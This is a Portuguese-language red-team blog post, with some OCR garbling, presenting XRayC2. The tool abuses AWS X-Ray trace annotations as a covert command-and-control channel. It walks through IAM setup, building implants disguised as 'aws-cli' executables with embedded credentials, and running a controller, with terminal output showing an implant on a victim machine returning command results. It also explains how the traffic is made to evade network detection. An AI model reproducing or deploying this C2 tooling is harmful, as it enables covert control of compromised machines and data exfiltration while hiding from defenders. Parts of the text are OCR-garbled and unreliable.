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Ghost in the Cloud: Armamento do AWS X-Ray para comando e
controle

Os invasores podem usar o AWS X-Ray como um canal C2
bidirecional secreto, abusando da infraestrutura legitima de
rastreamento de nuvem para C2.

Resumo e Antecedentes: Antes de comegarmos, se vocé ainda néo teve a chance de ler
meuConhecaC2 log post, ainda, dé uma lida.

Estou usando o MeetC2 em minhas campanhas RedTeam ha meses e, com o incrivel feedback da
comunidade, planejei publicar um novo kit de ferramentas (XRayC2).

Sempre gosto de trabalhar na evaséo de acesso inicial contra as defesas de rede tradicionais. Nisso,
usamos o servico de rastreamento de aplicativos distribuidos da AWS X-Ray Amazon como um
canal de comunicacao secreto. Essa técnica aproveita a infraestrutura legitima de monitoramento de
nuvem para estabelecer comunicacao C2 bidirecional.

A infraestrutura C2 tradicional depende do estabelecimento de conexdes de rede entre servidores
controlados por invasores e hosts comprometidos. Essa abordagem deixa inUmeras oportunidades
de deteccdo, como dominios suspeitos, IPs desconhecidos, padrdes de rede incomuns e anomalias
de certificado SSL.

Fluxo de comunicacgéo
Dominio —Xray.[region].amazonaws.com

O AWS X-Ray foi projetado para ajudar os desenvolvedores a entender o desempenho do aplicativo
coletando rastreamentos. No entanto, as anotacdes do X-Ray podem armazenar dados arbitrarios
de valor-chave, e o servigo fornece APIs para gravar e consultar esses dados.

Phase 1: Inplant Beacon (Establishing Presence)
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Phase 2: Command Delivery (Controller ? Inplant)
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Xxray-c2> cnd whoam ? ?
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PUT / TraceSegnents ? ?

{ ?2 2

trace id: "1-67a2c...", ? ?
annotations: { ? ?

config a3f7b2c8: ? ?
base64(ti mest anp: whoam ) ???? Encoded Conmand ?
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Phase 3: Result Exfiltration (Inplant ? Controller)
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O intervalo de beacon aleatério acontece entre 30 e 60 segundos. O implante implementa
manualmente a autenticagdo personalizada do AWS SigV4. Além disso, a solicitacdo de API para o
X-Ray deve ser assinada usandoHMAC-SHA256com a chave de acesso e o segredo, seguindo o
formato de solicitagdo candnico especifico da Amazon, que cria trafego legitimo da API da AWS que
se encaixaria com logs de rede regulares.

Configuracdo da AWS

Certifique-se de usar seu locatario ficticio da AWS para isso, uma vez conectado, navegue até “IAM”
& criar um nome de usuario “Xray” anexar “AWSXRayDaemonWriteAccess” em politicas de
permissdes. Em seguida, crie uma politica personalizada com o JSON abaixo e envie. Uma vez que
0 usuario é criado, podemos usar seu cliente AWS e segredo para implante e controlador.

{
"Version": "2012-10-17",

"Statement": |

{
"Effect": "Allow',

"Action": [



"xray: Put TraceSegnment s",
"xray: Get TraceSunmari es",
"xray: Bat chGet Tr aces”

1.

"Resource": "*"

}

]
}

Como correr?

Baixar XRayC2 —https://github.com/RootUp/XRayC2

bash-3. 2% ./buil d_standal one. sh

X- Ray C2 Standal one Bui l der
@RandonDhi r aj

Enter AWS credentials to enbed in inplants:
AWS Access Key I D [Enter your key]
AWS Secret Access Key: [Enter your key]

[*] Building nacOS i nplant (zero dependencies)...

[+] Built: aws-cli (5.8M

]
+] Built: aws-cli.exe (5.9M

[*] Cleaning up..

STANDALONE BUI LD COVPLETE!

Zer o- dependency i npl ants ready:
e aws-cli (macQOS/ Li nux)
* aws-cli.exe (Wndows)

Just doubl e-click and run!

bash- 3. 2%

bash-3.2% file aws-cl

aws-cli: Mach-O 64-bit executable x86 64
bash- 3. 2%

bash-3.2% file aws-cli.exe

aws-cli.exe: PE32+ executable (GU ) x86-64, for
bash- 3. 2%

Bui | di ng Wndows inplant (zero dependencies)...

M5 W ndows


https://github.com/RootUp/XRayC2

bash- 3. 2% export AW5S _ACCESS KEY_ | D="[ AW5 user "XRay" Key]"
bash- 3. 2% export AWS SECRET ACCESS KEY="[ AWS user "XRay" Key]"
bash- 3. 2%

bash- 3. 2% pyt hon3. 10 control |l er. py

[+] AWS Account: 691455350179

[+] Region: eu-west-1
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Avai | abl e Commands:
list - List active inplants
use

- Sel ect inplant

cnd - Send comand to sel ected inplant
info - Show inplant details

clear - Clear screen

exit / quit - Exit controller

Xray-c2 (none)>
Xxray-c2 (none)> |i st
[-] No active inplants
Xray-c2 (none)>

Execute o implante na maquina vitimaaws-clientouaws-client.exeVVocé vera o retorno de chamada
gue pode ser gerenciado a partir do controlador.

Xray-c2 (none)>

Xray-c2 (none)>

[+] New i nplant connected: 1e055763 (darwi n)
xray-c2 (None)>

xray-c2 (none)> |i st

[+] Active Inplants:

| D: 1e055763

Status: Active (last beacon 3s ago)
First Seen: 11:04:34

Last Seen: 11:04: 34

Beacons: 1

CS: darwin



Xray-c2 (none)> use 1e055763

[+] Sel ected: 1e055763

xray-c2 (1e055763) >

xray-c2 (1e055763) > cnd host nane

[*] Sending command to 1e055763: host nane

[+] Command sent (inplant will receive on next beacon)
xray-c2 (1e055763) >

[ +] Response from 1e055763:

Dhi r aj s- MacBook- Pro- 2. | ocal

xray-c2 (1e055763) >
xray-c2 (1e055763) >

Prova de conceito em video
[VIDEO/IFRAME REMOVIDO]

Deixe-me sugerir a leitura de mais Dhiraj andlise incrivel no Medium de graca.
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